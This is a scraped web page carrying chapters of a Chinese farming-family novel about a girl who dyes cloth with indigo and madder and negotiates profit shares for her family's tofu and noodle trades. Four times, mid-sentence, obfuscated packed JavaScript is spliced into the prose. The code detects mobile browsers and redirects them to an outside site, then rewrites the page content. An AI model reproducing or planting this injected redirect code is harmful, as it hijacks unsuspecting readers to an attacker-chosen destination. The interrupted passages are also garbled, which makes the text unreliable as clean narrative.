二房那个面慈心寡，瑛娘幼时没少吃她挂落，偏这闺女眼下好了伤疤忘了疼，连那闺女都作嫁妆方子的精贵物也愿教给二房去做。 瑛娘知云氏心头有怨。 在如今时代，生育终究是一把时刻悬在女子头上的一把软刀子，硌得人生疼，落下来也会要人命。 云氏深受其苦，哪怕并不觉得生女儿有哪般不好，可二十年来受婆母冷眼、妯娌轻视，她心头多少也盼过生下来的这几个能有一个是儿郎。 瑛娘敛目，抱着云氏的胳膊撒了撒娇，道：“那等辛苦活就让他们做去吧。娘，我头回去城头还买了一篓子针线，等今日与四姐一起忙活好了，您就闲了在家绣绣花草，累了去村口与那些婆婶摆摆闲，不多松快？” 云氏缓了缓心绪，倒也没问她哪儿来的钱买针线，只言道：“你奶能让我松快？” “放心吧，你女儿是结交过天宫仙官儿的，爷奶可不会再嫌。” 云氏听得一笑，点了点瑛娘的鼻尖，催着她去洗漱了好吃早食。 一家子吃过，二房两口子与其大儿子汪会便去晒场磨豆了。 有了村正家的骡帮忙使力，家里头闲下的劳力便多了。 汪木匠摸着家伙事磨蹭了许久，见瑛娘只顾着理她那一堆从山头带下来的草、果，半晌没得安排，索性叫上汪点柱和汪点水、汪文和汪武一起去地头锄草沤肥。 他们一走，家头便只剩下大房母女三人和带着汪连的大媳妇儿小林氏、窝在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829085|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房间里不知在做什么的何氏。 何氏还好，二房的两个却不好放着不管，云氏只得叫小林氏把弟弟带出来在院儿里撒泼，由着他去给瑛娘和瑾娘帮手添乱。 好在汪连虽被惯得有些娇纵，于他而言，摘叶择草却都是好玩儿的，一通撕扯下来，倒也帮瑛娘择出了一小堆蓼蓝叶和茜草根来。 倒是小林氏有些焦躁。 她本是内秀的性子，轻易不会与谁争端，也见不得整家儿忙着独她清闲，偏生这摘叶择草的活计需得蹲坐着做，她挺着肚子，到不敢叫人允她帮手了。 瑛娘和云氏倒也察觉了她的心态，只是一人考虑她本人的身体状况，一人则忧心二房的回来找麻烦，所以一时都顾着手头的活，只云氏开口，叫她好生歇着。 “四娘，你若实在想寻摸着事儿做，不如拿了绣篓子给你娃儿绣个平安囊或是花头鞋，总归你妹妹这些草、果也不是多紧要的事儿，不需得恁多人帮手。” 小林氏自是听从，端了针线和绣篓子来，就坐在檐廊下边绣边注意着汪连。 三背篓草、果粗粗处理了大半个时辰，母女三人合力将择好的茜草根、蓼蓝叶简单清洗过晾晒至一旁备用，又打了水将栀子果淘洗好放在簸箕里均匀铺开放至檐廊下风干，瑛娘才借着进屋取出了藏进仓里的小背篓。 六十方素色布块、针线篓子、白矾罐子全在小背篓里，为了省力，瑛娘自是一背篓直接全背了出来，云氏和瑾娘自是讶于这背篓从哪儿来的，只是碍着二房的人在场，也不好当场戳破，便暂时按下未表，围着瑛娘忙活了起来。 蓼蓝生揉，可染天青。 茜草滚煮，可得妃色。 不过染前工序也不算少，需得先将素色布块泡过才能着色均匀，六十方布块分两盆泡下来，之后染来便是天青、妃色各半了。 泡布的同时，瑛娘带着瑾娘打染浆。 蓼蓝叶撕碎后体量不多，用杖一通擀，再加了水滤过一遍便能成染液。 蓼蓝染，布料入液需得搓揉上色，静置一刻，洗去浮色，再入煤染液浸泡固色，即得天青。 相比之下，茜草染耗时更长，取得茜草根沸水煮过两刻，滤过浮渣。 得染液，再以布料入液煮染两刻，布料着色，方才浸入煤染液固色。 茜草染固色也需两刻，浸入煤染液至色素沉着出了妃色，洗去浮色晾干即可。 无论染制何等布料、彩色，布染最为关键的便是固色的煤染液。 瑛娘按比取了三两白矾、四两盐，入十斤净水搅匀分装两缸，待布料着了色，分色入缸，一通清洗晾晒，日头已近午时。 两色布块在院中晒衣竿儿上随风荡动，于日光下辉映，便是帮手的云氏和瑾娘也一时看呆了去。 “那绿的、褐的汁儿竟也能把素白染成这般鲜亮吗？” “这……这怕是城头也买不着这般色彩的布吧？” “瑛娘，这……这当真是我们染出来的？” “若染了成匹的布，怕不是连金子都挣得来吧！” 躲在屋里头往外看的何氏同样惊叹。 瑛娘……竟真会染彩么？ 15. 平衡 染几方小布自然挣不来金子。 如此一通染制，所用白矾价值六十文，盐约摸十四文，再有六十方布块花去二十文，本金足有九十四。 若这布块染了便卖，顶多丝绢一方两三文，绵绢一方一二文，纯纯只挣得个劳力钱。若是绣了花样子去卖，丝绢卖个十文，绵绢卖个五文，倒还有个三百多文的进账。 只是绣花、绣草虽简单，一日也不能尽做这些不顾家里的伙计，以瑛娘自个儿的速度来看，一日至多绣个十几方她便不想做了，云氏和何氏、小林氏能绣得如何也未可知，便算个日均八方，六十方绣下来也需得两日半。 一斤白矾用得三回，回回六十方，七、八日挣得来九百多文，虽不可细算，比之染坊盈收却也不太够看。 不过成匹的布染不是这般算法，染料与固色煤染液都能反复用，便算染了一匹布所需媒染液本金，二十匹布分摊来也不过来一百八十来文，而染坊为省成本，也有用草木灰固色的，天然的媒染剂用于染色前，染时温煮，只需多费些劳力时刻搅动染缸以防形成染斑。 不过丰县东市布行紧缺彩布，应是染坊未得其法，待她这批天青、妃色布块绣成手帕销出去，估计多的是人来打探固色的秘法。 瑛娘盘算着先看看老汪家有没得人能吃那染工的苦，且开染坊可惜得足够的本金，真开成了，一个普通的农户也很难守住根本，到时最好先看看村正和村人的态度，再做他想也不迟。 天还不算冷，布块吹干自不需得多久，待二房推了浆汁回家，瑛娘已将布块收回了大房偏间儿，自有小林氏与林氏说那稀罕事。 林氏没亲眼见到却有些不信那布块能有多好看，记挂着菽乳的营生，便也没把小林氏的话往心里去，见云氏在灶间忙活的差不多了，连午食也不紧着吃了，垫吧了两口便自顾自取了瑛娘调好的膏液去守着煮汁儿制乳。 见状，汪点德和汪会也不好在饭桌上久待，埋头刨了几口菜，一呼噜喝完稀饭，桌上的兔肉只夹了几夹，匆匆吃过便也离了桌。 因着定了量去城头营生，三房一家子也赶着饭点回了家，八十碗捞面做不了许久，个把时辰也就卖净了，听着食客抱怨备得太少，陈氏亦觉得这营生该再多会儿子，只是徐氏不给粮她也没的法，心头难免不爽了。 汪辰却觉得如此正好。 忙个半日，挣得也不少，瞧二叔二婶忙得热火朝天，一日挣来不比他们还少？ “娘，我瞅着下午空闲，不如再琢磨琢磨新浇头？我可瞧见了，昨个儿吃我们捞面的食客好几个都去了别家吃，日日吃这鸡汤鸡肉他们也腻。你瞧这兔子是不是更鲜？” 叫陈氏说，兔子骨肉多，哪有鸡肉吃这香，且肉哪有吃腻的？哪有恁好的日子？ 不过儿子的言语她也听了进去，吃了几夹兔肉，确也觉得不错，便闷声点了点头，盘算着能做个什么本金不要多少、味道也还不错的新浇头。 二房三房满心满眼为着营生，汪木匠自然满意得很，灶间的事儿他不管，吃过午食又带着儿孙去地里忙活去了。 而家里头，合力拾掇完家里的杂活，大房母女三人也没再去管其他几房的闲，径直回了屋里。 回了屋，瑛娘将布块清点分放，取了天青、妃色各一方丝绢、一方绵绢，让云氏先绣几个花样儿出来以作样品。 云氏嫁来老汪家二十几年，除开最初一年，便是今日这般最为松快了，但忧着瑛娘把活儿全支使给别人去做会让徐氏不满，眼下能打个样也不错，接过针线篓子和布块便坐在窗前绷了篓子比划着如何下手。 瑾娘也是个闲不来的性子，索性端了凳子与云氏挨着坐下观摩，只瑛娘一个靠着床榻便迷蒙着打起了瞌睡，云氏瞧得失笑，只好叫她回了偏间儿去睡。 午睡不宜久。 瑛娘睡够半个时辰便醒了过来，不过天气见凉，睡热的被窝里舒服得紧，又躺了会儿才起身来。 半个时辰，云氏却是绣好了一张花样儿。 天青的丝绢，辅以红、粉、白、绿四色彩线绣得一丛乡野小花，清新脱俗。 除了绣样，云氏还处理了布边，整圈以青线折绣包边，包边细纹规整，配色淡雅，叫瑛娘来看，别说卖个十文，就是十五、二十一方她也绝不亏心。 不过小林氏和何氏不见得能比得云氏这一手绣活，待这一批布块都绣成，再看成品定价也不迟。 绣样不急着出，瑛娘叫停云氏，叫她先去院里转转再继续，“绣这东西实在伤眼，每绣半个时辰，至少得去做些别的再继续，我不希望娘为这活儿伤及己身，一日绣个三、四方，尽够了。” 以云氏的速度，一日不费多大劲便能绣得十来方，不过转念一想，这银钱挣来也是整家儿嚼用，甚至多的是为那些个侄儿挣的，瑛娘愿为她减劳，她又何必自讨苦吃？ 如此想过，云氏便笑着放下了新绷的绣篓子，牵着瑛娘与瑾娘出门在院儿里头闲散。 汪文、汪武套得的兔子就养在院子里，午食后出得门前还不忘丢两把瑛娘折下来的茜草叶子给它们嚼着吃耍。 云氏笑叹：“这些个野兔子倒是什么都吃，好养活吧？” 瑛娘虽喜欢兔肉的口感，但实在不想整日浸在臭味儿里，皱着眉头，道：“兔子是好养活，出窝也快，一窝寻常能出个六七只。五哥六哥倒是想养，我却受不得那臭味儿，且这院儿里头还得做别的营生，村头邻里闻了味会不会觉得咱家菽乳不够干净？便是咱们的手帕渍了味儿也不成啊，好端端的帕子，闻着却臭，该如何卖去？” 那富家的小姐还给衣物熏香呢，若看中她们这手帕的色彩，却顾及味道，可不平白损了买卖？ 云氏想也罢，不过旋即想到过得同样清贫的娘家，又觉得这营生或许能让娘家兄弟试着琢磨琢磨？ 大房母女说话并未避着院子里守着模具制菽乳的二房一家，见林氏分着神在听，院角儿杀鸡的陈氏也支棱着脑袋，云氏便未道出自己的想法，按捺之下，待得夜间再与瑛娘商量。 “那果儿晾着得什么时候收？” “那是栀子，晒干了存备可作药材。不过那是来年才好打算的营生，眼下只管晾干了收进仓里放好，转天儿还得让爷想想法儿帮我多收些回来才好。” 栀子可制栀黄，但栀黄不耐光，染作布料也不见得能有多好看，不如待得槐花盛开时再取花作原料打浆染黄。 云氏不懂这些，闻言便不再多问，又在院儿里绕了几圈，才丢下瑛娘带着瑾娘又回了屋里盘那绣篓子。 这一日忙活下来，面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829086|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摊、菽乳的生意都备了齐全。 因着昨日好凑热闹的村人都买过了菽乳，今日舍得花那三文钱的便只有零星几个。 临了晚食，徐氏也拎着篮子一脸笑容归了家，见院儿里案板上晾了白方菽乳更是一喜，上了饭桌便叫老二汪点德明个儿一早挑着往上湾村一路卖过去。 “你们舅、姥爷都说这菽乳味道正，还比城头卖的更鲜嫩，那些个看热闹的也想买，估摸着今日这几十方明个儿还真不够卖。” “知道了，娘。” 要不是这菽乳不经放，徐氏真想每日做个百二十来方来让老二挑出去慢慢卖，不过瑛娘指定不能同意这般做，她也不想去惹了瑛娘不爽，索性就按稳妥的来，一日算个二十斤豆的量，也别把驴子再累着了。 “当家的，今儿个你去看驴了没？” 汪木匠自是没去，丰县那驴市不缺驴、骡，八贯已是高价，拿了钱再去挑也是一样。 “今儿个忙着沤肥，明儿一早再去，看成了直接牵回来就是。” “……行罢。” 徐氏喜意稍减，转而想到菽乳的营生还没真真儿落实，还得与瑛娘谈一谈才好，吃过晚上便先云氏一步拽了瑛娘直去正房。 “好瑛娘，快叫奶知道那秘法得如何才能教给你二叔二婶知道吧？” 汪木匠也想听听这孙女儿要说如何，在院门口刮了刮鞋底子，才趿着鞋跟了进去。 瑛娘自是有所求的。 菽乳方子可不算稀罕，只是废了劳力也挣得不算太多，今后她自个儿要做的是别的精细活，二房得了方子最好也能念念大房的好，也免得再给云氏恁多气受。 但这方子不能白给，瑛娘不希望今后多了几份营生，钱反倒一分没落着自个儿人手里，所以这一谈，便是要徐氏松开掌家的手，给她留一些自主的余地。 “面摊子咱先不提，便是哪日被别家的摊子挤兑得少了盈收，一年到头少说也能挣个三四十贯，总归这营生活计轻松。但那菽乳却是传世的方子，二叔二婶学了，四叔四婶学不学？三叔三婶以后干不动了，亦或城头混不下去了，会不会也觉得这菽乳该是他们去做的营生？” “自然，我手里头还有许多能作营生的新鲜物，可论轻松，自然是支个面摊子等客上门最轻松。菽乳却需一日待在家里赶驴、烧锅，还得劳累挑出去销，二叔二婶累够了，得不得想着与三叔三婶换一换？总归都是给公中挣钱，挣多挣少都是用，四叔四婶眼下可还都闲在家头呢！” “再就是今后，我们大房可以不分公中半分，但我爹娘老了也得受尊重奉养吧？营生法子都是我讲的，待我与玥娘来日都嫁出门去，爹娘再耕种不得，哥哥弟弟们却待我爹娘不好又如何？” “这些若不掰扯清楚，爷奶以后还管不管家？一家子还能不能好好过？” “爷奶该好好想想的。” 是啊，力总不能全往一处使。 家里这么些儿孙，谁出力多谁出力少总有个掰扯，儿孙或是没得那计较的心思，可儿媳呢？孙媳呢？他们的子孙后代呢？ 汪木匠和徐氏越想越觉心冷，倒不消瑛娘再说，心底便钻出了“分家”两个字。 分吗？各房能分得多少？ 不分？又该如何平衡各房？ 16. 夜话 瑛娘所求非是分家。 她还指着这一家子劳力受她支使，多做多得，只消这几年辛苦，便能换得余生自在富贵。 而汪木匠和徐氏也没觉得瑛娘这是在逼着他们要分家。 毕竟于世人看来，大房无子等同绝嗣，来日真要分家，大房便是如何也占不得便宜。 两老口只忧心几房子孙因着家里的营生反生了嫌隙，搅得整家儿不安宁。 可若不分家，又能如何处之？ 徐氏最是愁的。 她娘家便是如今也没分家，几个兄弟门对门、房挨房，便是吃喝日日也是一起的，几个嫂嫂弟妹也都是面慈之人，拘着下头的子孙不许与堂兄弟姐妹闹，多年来总归没把不愉快闹到明面儿上来，便是谁见了，不都得夸一句上湾村徐家家大且正？ 所以徐氏这些年才一直掌着老汪家家事不愿放手，只为求将来两老口驾鹤仙去，几房子孙也能相帮相助，齐心过好日子。 没成想，没钱闹得不愉快，有钱也能生龃龉！ 徐氏“唉唉”一叹，脑子里乌七八糟一团乱，许久才看了汪木匠一眼，试探着问道：“不如问问他们自个儿的意思？兴许各有各想做的营生？” “不可！” 汪木匠最是清楚几个儿子的性子。 老大汪点柱虽老实，说白了也是木楞，谁人与他说甚他都愿意信上几分，偏他膝下无子，若每个帮衬，怕是临了老了也是凄苦，好容易底下有个闺女出息，以此为他夫妻二人谋后路，他这个做爹的却是不能不当回事儿，再叫大儿子真去依赖几个侄子了。 老二汪点德嘴油得很，真要说有几分真本事那是假的，家里几个劳力下地，就他手头活儿最差，便是小老三汪会使起劲儿来也比他强。偏他媳妇儿林氏也是个心重的，这些年没少自持生育了汪家长孙给大房脸色看，若真叫她选面摊子去做些松快的，指不定还会觉得那营生揽客挣钱不够体面。 四个儿媳比对，汪木匠最是厌烦林氏！ 老三汪点书与他同胎兄弟那是天差地别，聪明是聪明，可惜没个主见，也藏不住事儿，他媳妇儿跟他一个模子，全身都是心眼子，偏生那眼子灌水都能往外漏，有那方子教给三房，不消月余，方子指定传到外村去，好在三房独子汪辰是个机灵的，不然这家就算分了，老三家也难过起来好日子。 老四汪点水一家比则倒是最不起眼了，两口子都是一棍子打不出个屁的闷葫芦，安排什么做什么，不拒绝，却也从来不会多做没安排上的，也就双胎儿子教得还算仔细，十几岁的半大小子，地里头再苦也能做，去城头见世面那气势也从来不见比谁自矮一头，所以徐氏最偏老二家的小孙儿，汪木匠却做什么都喜欢叫上汪文、汪武两弟兄。 眼下两个营生，面摊子最适合老三两口子做，自有汪辰与他们出主意，虽不至于富至哪般地步，好歹能维持盈收，让一家子多分进账。 而菽乳方子教给二房，汪木匠却也不清楚四房会作何想，万一老四闷着脑袋不肯说，待哪次怨怼再积不住，怕是闹起来就再难收场了。 汪木匠梗着脖子想了许多，脑子里不比徐氏松快，琢磨许久，偏是只能试探瑛娘该作何解了。 “……不是还有个别的营生？估摸着盈收如何？家里头谁人能做？” 瑛娘没藏着掖着，只道：“这营生我娘、四婶能做，若大嫂愿意，自也是能做的。只是做下来需得日日把着绣篓子，说赚得不多，月余也能挣个一两贯，若说能多挣呢，家里头别的活计一多，这营生也得停下。” 汪木匠和徐氏都没想到还有营生挑着人做的，一时顾不得再想分不分家，只问这营生究竟作何。 “给那手帕绣花样儿。绣好的手帕可卖去城头，也可让二叔搭着菽乳卖去十里八乡，总归是些轻巧的东西，打个包袱背上就能带去。” 家家女眷都是有手帕的，毕竟出门在外，总有个不趁手的时候，总不能什么都往衣摆上蹭，可徐氏不懂，这同样的帕子，怎么绣朵花就能挣个几文钱了？老四家的从前也不是没做过，难不成她不行，换了瑛娘来做就成了？ 汪木匠倒是看过瑛娘带着云氏和瑾娘拾掇那些草、果，脑弦儿一搭，突然意识到瑛娘怕是从“天宫”学来了不得了的好东西！ “……是靠那些草、果儿吗？” 瑛娘盈盈一笑，点头认了汪木匠的说法。 这几日能安排顺当，也是多亏了这两老口愿信她那半真半假的“天宫”说，且这两老口也是下得狠心的，平日不算太难为膝下子孙，是最常见的一心想让家里过得更好的那一类老人。 不过人嘛，心都是偏的，有喜就有恶。 云氏在这家里头过得不爽多是因着她没能生个小子，正如瑛娘此前宽慰云氏，如今有她在，便是大房只有女儿又如何？徐氏还能再由着云氏受委屈不成？便是她偏了心，汪木匠也得从另一头给云氏找补回来，总不会叫她在处处吃亏。 汪木匠倒吸一口气，想起自己曾在坊市见过的鲜衣，那一匹料子少说以银计，真叫自家做出来这营生，来年怕不是能比上秦老爷？ 瑛娘可不由着他自个儿去想，照一匹的量与汪木匠算了一笔账，“除开布匹本身的价值，需得添上三四贯才够本金，布匹价高自是不需得我来告诉爷奶，所以真要以此作营生，咱家现在可没底气。” 织布成本高在工序繁复，瑛娘不想自讨苦吃，便隐去自己会纺织的关键，只谈布染。 汪木匠听得本金如此之高便也沉默了，徐氏听了半晌却没明白这爷孙打的什么机锋，见两人谈入僵局，连忙拉了瑛娘的手催她，好叫她仔细说说。 “好瑛娘，奶知道那等不挣钱的活计你是决计不会拿给家里做营生的，你快细细与奶说道说道吧！” “奶别急。” 瑛娘要谈自个儿的打算，这染绣自然也得安排好了才好一起谈。 然，煤染液这等固色关键，不好叫其他人学了去，毕竟布是通货，一旦泄露关键，扰乱了布业市价，指不定能闹出什么乱子，一发不可收拾。 “先叫阿爷想想，便是咱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14837712|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们家有了本钱，却接不接得住那泼天富贵？” 汪木匠还真不觉得自家能接得住，这等通货可不是菽乳那等小食儿能比的，一个不好，挡了富户权贵的路，便是汪氏九族也是不够他们杀的。 士农工商，除非他家出了个大出息，这辈子怕是别想与那些个老爷作对了。 “罢了，就绣绣手帕挣些辛苦钱吧，权当个消遣，作不得那营生。你不是还有话儿与爷奶商量？说罢，这夜深了，干坐着也冷。” 瑛娘早想回屋去躺着了，这不是两老口非得与她说道，她也不好直接走人不是？ 瑛娘又是一笑，将话儿讲回之前，细声解释道：“今夜与爷奶说着许多，却不是想叫爷奶分家。只是叔婶之间总有做得多、做得苦的一个，日子久了，少不得有那怨言可道。” “便是我，也不希望费心费力挣来银钱却全给哥哥弟弟娶妻生子花去了。我与四姐已是几年没得新衣穿了吧？虽说因着娘病重需得养着身子花去了公中银钱还借了饥荒，可爹不也从未放下过田间地头的活计么？大哥娶妻爹没使力？还是娘没帮手？怎么同样境况，哥哥弟弟能穿，新来的嫂子能穿，偏我们几个姓汪的闺女连新布都摸不得？” “爷奶以为，我该不该怨？” “三婶还想拿我与三哥换亲，这又该不该怨？三哥换来的媳妇儿当真能比我这孙女来得贴心？要说三哥人才也不差，他若有那本事，把这面摊子盘活了，兴许与城头商户家的小姐也是能说成的。这也是我愿将面摊子那等松快活计教给三叔三婶去做的原因，毕竟是我亲三哥不是？” “我也是盼着家里人人都好的。” 瑛娘这一番话说来也是讨巧，即道明了自个儿心头的不爽，又与汪木匠和徐氏表态，顺道夸自个儿不爱计较。 这等上了年纪的老人最怕什么？ 不就是怕一家子忍不住嘴，有怨便要当场掰扯清楚，直闹得一家子乌七八糟没个轻省？ 她这一番说道，不只让徐氏开始反思自己往来是不是太苛刻，也让汪木匠盘算着要么给这个孙女儿招个婿。 一来，也算让大房留个根儿，二来么，也不必忧心瑛娘嫁了，这一家子营生不如意便做不下去了。 不管如何，两老口这片刻心虚便是瑛娘要的“时机”，趁机便道出自己最终的目的。 “依我看，爷奶也不必想那许多，家不能分，分了家人心更散，且家里头也拿不出那多的银钱买地修新房了，还住在一起，分了又如何？不也平白多生龃龉？” “二叔二婶得了菽乳方子，但活计不轻松，一日挣来也不如三叔三婶轻轻松松半日盈收，想要平衡两家心情，不如按劳取酬，叫叔婶都实实在在的摸着银钱，才好知道再使把劲儿去挣更多。” “四叔四婶暂时没得营生，自然也没得钱拿，那他们得不得想法儿去琢磨？便是我没了法子，他们当真就想不出来么？五哥六哥可多的是想做的，我听罢也觉得不错，怎么四叔四婶就不去做呢？” “爷奶以为，我说得对是不对？” 17. 分利 按劳取酬。 汪木匠咂摸着这词儿，觉着瑛娘所言并非没有道理。 尤其老四一家儿，每日同进同出，又何曾与他说过小老五小老六的想法？ 瑛娘才与她两个哥哥待过几回，怎么偏就让她知道了？还不是小老五小老六自个儿与她说的！ 可是吧……钱给各房捏着，怕是会把各家儿心养大，且他这老妻掌家几十年，估摸着一时也舍不下吧？ 汪木匠悄摸瞥了徐氏两眼，却见徐氏思虑之后反倒露了笑来，他心头正觉着奇怪，又听徐氏兴冲冲与瑛娘论起这酬劳怎么算才好，不似憋着气，顿时暗笑自己把老妻想差了。 行罢！ 左右这家早晚得让他们各个儿经营去，眼下有了盈收，等同驴子前头吊了红芦菔，有了奔头才好使劲。 “那瑛娘心头可是有谱了？” 瑛娘自是有谱。 鸡汤捞面不是独家的手艺，算来也不稳定，还得日晒雨淋，说辛苦也辛苦，只是做这营生的三房没恁多坏心思，便是一日给他们二成盈收也能让他们铆足了劲儿去干。 只是这摊子瑛娘只管过一日，却不好从中抽取太多，叫徐氏从她得的八成里头给够她两贯即可。 紧要的是菽乳。 菽乳利薄，哪怕今后二房盘了磨坊将买卖做大，那也是废的他二房的劳力和本钱，只是瑛娘占了出方子的大头，所以厚颜要个二成也不算过分。 但二房却不好只得二成了。眼下菽乳一日盈收百二十文，二成不过二十四文，比之三房所得二成少了许多，所以想要平衡，最好是让二房与公中各分四成，左不过公中还揽了二房三辈人的嚼用，亏也亏不到哪儿去。 一日四十八文，一年十七贯多些，便是二房心思再重，也说不得闲话了。 而那绣帕子的活计当不得正经营生，便是谁有空绣谁来挣这份钱，瑛娘只管收染布所需本钱和劳力报酬，无论丝绢、棉绢，一方都算三文，剩下所得便让他们自留一半，再归一半给公中。 如此一算，便是一旬出一批手帕，一年下来，公中也能多得个五六贯钱，轻省，又耽误不了家里头的活计，权当给家中女眷贴补了。 粗粗算过账，汪木匠和徐氏都说不出猜忌瑛娘有私心的话。 无他，瑛娘要的利实在太薄了！ 面摊子拢共只要两贯，菽乳一年到头也只能分得八、九来贯，那手帕更是包了本金才收取一方三文，这营生又不是时时做的，便是一旬一次，除开本钱，一年到头也才两三贯……如此薄利，谁要说瑛娘有私心，那才叫真真儿的冷心冷肺！ 徐氏心头五味杂陈，再看瑛娘，更多了几分真心，只是要与瑛娘加利的话到了嘴边又收了回去，心里盘算着公中的钱不好拿出来单给她一个，还是等来日叫瑛娘相看时再多上上心吧。 汪木匠也想着该给瑛娘制备嫁妆了，哪怕来日真要招婿，屋里头也少不得新的箱笼，该是寻些好木回来存着，面儿磨光了慢慢打才好。 至于新衣……小姑娘家家，又懂染绣，来年春瑾娘出门子，便给瑛娘也买上两匹棉绢，好叫她染了裁衣，别叫云家那头的亲戚看了笑话。 汪木匠未表盘算，只一锤定下营生分利，“便这般定下吧。夜深了，瑛娘该回大房那头歇着了。至于今后其他新营生，只待做起来了再算该如何分。” “对对！天儿见冷，今年冬制被，瑛娘屋里的也该换新棉了。” 瑛娘与瑾娘睡一床，虽棉被是大房换下的旧被，两人挨着睡倒也冷不着，不过能盖新被自然好，瑛娘不得傻里傻气的拒绝，闻言便只道好，出了主屋，回了大房寻云氏说话去。 云氏也正等着瑛娘，从窗口瞅见瑛娘便先往偏间儿门口等着，待瑛娘进了大房，便有些急切的拉着她好是看了一阵儿。 “你爷奶找你说什么？还是与你为难了？” 三房那头的婚事始终是悬在云氏心头的一块石，云氏既怕它落下来，又盼着它快些落下好让她安心。 瑛娘笑着挽了云氏的胳膊进了偏间儿，挤着瑾娘一起坐到床上蹭她睡出来的热气，母女仨贴着一座，云氏心头也熨帖了不少。 热气暖身，瑛娘这才道：“是我要找爷奶谈的，今后该是不会再叫我与三哥去换亲了。” 老汪家也是要脸面的，若非一家子实在拿不出来钱，徐氏也不至于脑子发懵应下三房“换亲”的事儿，而与三房这几日接触下来，这“换亲”多半也是受别家撺掇来的，真叫陈师自个儿想，估计也是想不来这等“划算”事儿的。 云氏心头怨着这一家子，自然没想那许多，只听得瑛娘所言，稍安了心，拉着瑛娘瑾娘的手，眼眶微热，道：“来年春瑾娘便要嫁出去了。云家的日子过得虽不富裕，几家往来亲戚却都是面善心慈的，不会与瑾娘为难。瑾娘性子好，阿客也是争气的，我自是不该担心。只是……阿客私下里与我说过，将来得了空也会去山头猎捕些小物来卖，贴补瑾娘养好身子再说养育孩子的打算，可那山里头……” 夕山绵延，山里多的是猎物，但也少不了大虫、野猪那等野兽。 云客上进，云氏深感欣慰，自是不怕瑾娘与他经营不好今后的日子，但听瑛娘提及，她便想着他们也能好好做个营生，无需日日担忧云客在山里头遭遇不测。 既然那兔子有养活的可能，套些来好生伺候，待一窝窝幼兔出笼，自然能养大了一其卖去城头，便是一只三十文，积少成多，一百只也够卖得三贯了，如此不比日日去山头寻摸稳当？ 养兔能养，鸡、鹅自然也能养，来日攒了本钱将这铺摊子支展开，家业自然也就丰厚了。 云氏捡着话儿与瑛娘和瑾娘说了说。 听罢，瑾娘还怔着神儿，瑛娘先抚掌笑了起来。 “是这个理儿。姐姐嫁过去便不好日日回家吃肉了，养得兔子在家，既能卖也能自个儿吃。不过……娘，也不必等姐姐嫁过去再与姐夫说，这几日他若再来找姐姐耍，便让他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846587|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与五哥六哥一起去山头套兔子带回去养着，早养早好，也好叫那头的亲家叔婶知道姐姐嫁过去便是一家人，是想着一家子过好日子的。” “……”云氏半张着嘴许久未能说出话来，待瑾娘红着脸与瑛娘笑闹作一团，她才眼神温软，搂着瑛娘瑾娘好一阵亲昵。 …… 这日无需大房忙活灶间的活计，瑛娘便再床上绵到了林氏敲窗叫早才起。 临了上了桌，因着三房一家子不在，徐氏便没提盈收分利，只叫眼下在家头的该做啥做啥去，等到晚上别缺了人，家里好一起商量些要紧。 农闲时媳妇儿都盼着回娘家走动，林氏和陈氏也是因着这几日做了营生才没提及，徐氏这话摆明了在点四房，何氏默了默，也就应下来了。 吃过早食，汪木匠点了汪点柱随他进城去买驴。 这驴是买来方便做菽乳的，林氏本想让汪会也跟着去，可惜一吃过，汪点德就挑了菽乳往上湾村去，其他几房老小也一窝蜂跑了，便是她想叫四房的来帮个手也叫不成了。 无法，只得作罢。 不过林氏也来不及想恁多了，瑛娘记着今日还得教林氏石膏水的制法，陪着云氏和瑾娘回屋绣花样，闲耍了会儿，也就借着遮挡取出剩下的石膏块，一包拎着在灶间找了林氏。 “二婶得空了吗？奶叫我把菽乳的秘法也一并教了你，今后我就不掺和这营生了。” 林氏回了神，咧着嘴笑了几声才想起来自己平日的作风，当即敛下笑意，只含微笑与瑛娘客气，道：“瑛娘再等等婶儿，婶儿给你煮个糖蛋，边喝边说。” 